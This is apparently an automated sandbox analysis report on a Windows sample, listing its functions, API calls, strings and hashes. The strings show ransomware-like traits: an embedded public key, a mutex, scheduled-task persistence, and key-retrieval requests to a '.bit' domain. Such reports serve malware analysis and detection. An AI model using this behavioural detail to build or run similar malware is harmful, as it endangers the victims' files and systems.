Part of subcall function 05E05BA8: __getptd_noexit.LIBCMT ref: 05E05BA8

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: f2928f2b1461af0d35573f71a130fda99844362f15613ddcb0539e7176c3c98a
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: F451A538A042059BEB259F69C88C5AE77E6BF40334F14B329EAB5962D0D77099D18F40

Uniqueness

Uniqueness Score: -1.00%

Function 05E21359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E2137D

Part of subcall function 05E21A9D: __fltout2.LIBCMT ref: 05E21AC6

__cftog_l.LIBCMT ref: 05E213A3
__cftoe_l.LIBCMT ref: 05E213D5

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: a0065a62e00489f1dc372492aa6632e6e00c225caede3f3c6eda3b7e3c8223b2
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 68017B3280415EFBCF1A5F84CC05CEE3F63BB18244B0A9414FA9958838D232C6B2EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05EA7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05EA7A4B

Part of subcall function 05EA8140: ___BuildCatchObjectHelper.LIBCMT ref: 05EA8172
Part of subcall function 05EA8140: ___AdjustPointer.LIBCMT ref: 05EA8189

_UnwindNestedFrames.LIBCMT ref: 05EA7A62
___FrameUnwindToState.LIBCMT ref: 05EA7A74
CallCatchBlock.LIBCMT ref: 05EA7A98

Memory Dump Source

Source File: 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: a758289b5e2beaf28ff1a68e78f031145c8190463bc1db556c3af24cfbe33e02
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 5601D733500109BBDF12AF65CC04EDA7BAAFF49758F159014F99969120D732E961DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SUwX12D2S6.exePID: 7396, Parent PID: 7376COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0082AE28,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x*P, xrefs: 0041ACE4
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
F:\, xrefs: 0041B397
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--Service, xrefs: 0041A30B
--Task, xrefs: 0041A2CD
IsNotAutoStart, xrefs: 0041A645
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files\Google\, xrefs: 0041AFB9
--ForNetRes, xrefs: 0041A22E
runas, xrefs: 0041A6CE
7P, xrefs: 0041B164
IsAutoStart, xrefs: 0041A1D0, 0041A273
--Admin, xrefs: 0041A1B4, 0041A632
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
I:\5d2860c89d774.jpg, xrefs: 0041B32F
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Windows\, xrefs: 0041AE0F
x2Q, xrefs: 0041A856
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
IsTask, xrefs: 0041A1EE, 0041A299
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsNotTask, xrefs: 0041A654
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Windows\, xrefs: 0041AFF3
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
%username%, xrefs: 0041B283
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
<, xrefs: 0041A67B
list<T> too long, xrefs: 0041B669, 0041B673
X1P, xrefs: 0041A485
--AutoStart, xrefs: 0041A2EC

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3638767399
Opcode ID: 6546f37be0f30ade2769b212bf3ee33cb26a1ea8db81a75e9cabd3816e709161
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 6546f37be0f30ade2769b212bf3ee33cb26a1ea8db81a75e9cabd3816e709161
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,BB2B1F43), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

CreateToolhelp32Snapshot, xrefs: 00481D67
LanmanWorkstation, xrefs: 00481A26
Module32First, xrefs: 00481E26
Thread32Next, xrefs: 00481E13
Process32First, xrefs: 00481DDA
ADVAPI32.DLL, xrefs: 00481989
LanmanServer, xrefs: 00481A74
$, xrefs: 00481F7E
Process32Next, xrefs: 00481DED
Heap32Next, xrefs: 00481DA1
GetQueueStatus, xrefs: 00481C6B
Thread32First, xrefs: 00481E00
KERNEL32.DLL, xrefs: 0048199C
CloseToolhelp32Snapshot, xrefs: 00481D7B
CryptGenRandom, xrefs: 00481AE3
NETAPI32.DLL, xrefs: 004819A9
GetForegroundWindow, xrefs: 00481C4A
USER32.DLL, xrefs: 00481C31
GetCursorInfo, xrefs: 00481C58
CryptReleaseContext, xrefs: 00481AF6
Module32Next, xrefs: 00481E39
Heap32ListNext, xrefs: 00481DC7
CryptAcquireContextW, xrefs: 00481AD5
Heap32First, xrefs: 00481D8E
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
NetStatisticsGet, xrefs: 004819E2
NetApiBufferFree, xrefs: 004819F0
Heap32ListFirst, xrefs: 00481DB4

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

{"public_key":", xrefs: 0041EA2E, 0041EA8D
","id":", xrefs: 0041EBC5, 0041EC4C
", xrefs: 0041ECA0
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
?pid=, xrefs: 0041E884
Microsoft Internet Explorer, xrefs: 0041E736
&first=true, xrefs: 0041E930
.bit/, xrefs: 0041E7A3
&first=false, xrefs: 0041E937

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: f21b1de82257ecd42a06bfc532cfa3b26cfd4437d77032d0ccb5473e5dd7d4fd
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: f21b1de82257ecd42a06bfc532cfa3b26cfd4437d77032d0ccb5473e5dd7d4fd
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
2030-05-02T08:00:00, xrefs: 0040D737
Time Trigger Task, xrefs: 0040D43C, 0040D973
--Task, xrefs: 0040D8DD
Author Name, xrefs: 0040D4C8
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: dfaaa4bf463cfa06d931472741bf0c35b6dcd6b721db6964ae10ad168839bb9f
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: dfaaa4bf463cfa06d931472741bf0c35b6dcd6b721db6964ae10ad168839bb9f
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: e362eb7d60f5b40fb6524ab12b1b3edb68cef222fdbc9c5de1bc4e0ac228ebcc
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: e362eb7d60f5b40fb6524ab12b1b3edb68cef222fdbc9c5de1bc4e0ac228ebcc
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

